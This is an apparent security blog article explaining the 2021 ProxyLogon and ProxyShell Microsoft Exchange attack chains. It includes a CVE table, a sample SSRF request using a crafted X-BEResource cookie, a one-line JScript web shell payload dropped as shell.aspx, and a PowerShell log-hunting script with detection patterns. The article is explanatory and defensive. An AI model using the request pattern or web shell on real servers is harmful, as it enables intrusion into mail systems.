MODRACXKENNETH D'SILVA

← Archive & Insights

ProxyLogon & ProxyShell: How Microsoft Exchange Was Owned in 2021

Four zero-days chained together. Pre-auth RCE on on-premise Exchange. HAFNIUM, ransomware groups, and the 250,000 servers compromised before the patch dropped.

By Kenneth D'SilvaReading Time: 28 min readCategory: Security & Compliance

1. March 2021: The Mass Weaponization of Enterprise Mail Gateways

In March 2021, Microsoft released emergency, out-of-band security bulletins for Microsoft Exchange Server. A pre-authentication remote code execution chain discovered by DEVCORE — dubbed ProxyLogon (CVE-2021-26855) — was being actively exploited by advanced threat actors (notably HAFNIUM) and automated ransomware operators (DearCry, Black Kingdom). Over 250,000 servers worldwide were compromised within weeks.

Months later at Black Hat 2021, the same researchers unveiled ProxyShell (CVE-2021-34473), demonstrating that URL routing ambiguities inside the Exchange Autodiscover component allowed an even simpler, more reliable pre-authentication attack path.

2. Comprehensive Exchange Vulnerability Master Matrix

ChainCVE IDCVSSComponentVulnerability Role
ProxyLogonCVE-2021-268559.8Frontend CAS ProxyPre-Auth SSRF bypassing frontend authentication
CVE-2021-268577.8Unified MessagingInsecure deserialization running as SYSTEM
CVE-2021-268587.8OAB File ServicePost-auth arbitrary file write to arbitrary paths
CVE-2021-270657.8OAB Virtual DirectoryPost-auth arbitrary file write dropping web shell
ProxyShellCVE-2021-344739.8Autodiscover BackendPre-auth path confusion / SSRF in Autodiscover
CVE-2021-345239.8PowerShell RemotingExchange PowerShell backend privilege escalation
CVE-2021-312077.2Mailbox Export FeaturePost-auth arbitrary file write via PST mailbox export

3. Technical Exploit Mechanics: The CAS SSRF & OAB File Drop

Exchange Frontend (Client Access Server) proxies HTTP requests to backend services running on port 444. Frontend routing decisions rely on the X-BEResource cookie. Because the frontend failed to validate the backend Kerberos ticket when proxying, attackers supplied crafted cookies that forced the backend to execute requests with full administrative token impersonation:

POST /owa/auth/Current/themes/resources/logon.css HTTP/1.1
Host: mail.enterprise-store.com
Cookie: X-BEResource=EXCHANGE-BACKEND/EWS/Exchange.asmx?a=~1942062522;
Content-Type: text/xml

<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" 
               xmlns:m="http://schemas.microsoft.com/exchange/services/2006/messages" 
               xmlns:t="http://schemas.microsoft.com/exchange/services/2006/types" 
               xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
  <soap:Body>
    <!-- Authenticated Exchange Web Services call dropping OAB config -->
  </soap:Body>
</soap:Envelope>

Once SSRF authentication was established, the attacker manipulated the Offline Address Book (OAB) external URL setting to inject embedded ASPX code (<script language="JScript" runat="server">eval(Request["cmd"],"unsafe");</script>) and dumped the configuration to C:\inetpub\wwwroot\aspnet_client\shell.aspx.

4. Detection and Forensic Remediation Script

# test_proxylogon_forensics.ps1 - PowerShell threat hunting for Exchange compromises
Write-Host "[*] Auditing IIS logs for CVE-2021-26855 SSRF patterns..."
Get-ChildItem -Path "C:\inetpub\logs\LogFiles\W3SVC*\*.log" | ForEach-Object {
    Select-String -Path $_.FullName -Pattern "X-BEResource", "autodiscover.json.*@.*powershell" | Select-Object -First 10
}

Write-Host "[*] Scanning virtual directories for unauthorized ASPX shells..."
Get-ChildItem -Path "C:\inetpub\wwwroot\aspnet_client\", "C:\Program Files\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\owa\auth\" -Filter "*.aspx"

5. Remediation & Hardening Blueprint

  1. Apply Microsoft Cumulative Update (CU) and Security Updates (SU) immediately across Exchange 2013, 2016, and 2019.
  2. Audit all IIS virtual directories for lingering .aspx and .ashx backdoors.
  3. Place Exchange Client Access interfaces strictly behind VPN or Zero Trust Network Access (ZTNA) gateways rather than exposing port 443 directly to the public internet.

Suggested & Related Reading

Explore related engineering guides from Kenneth D'Silva: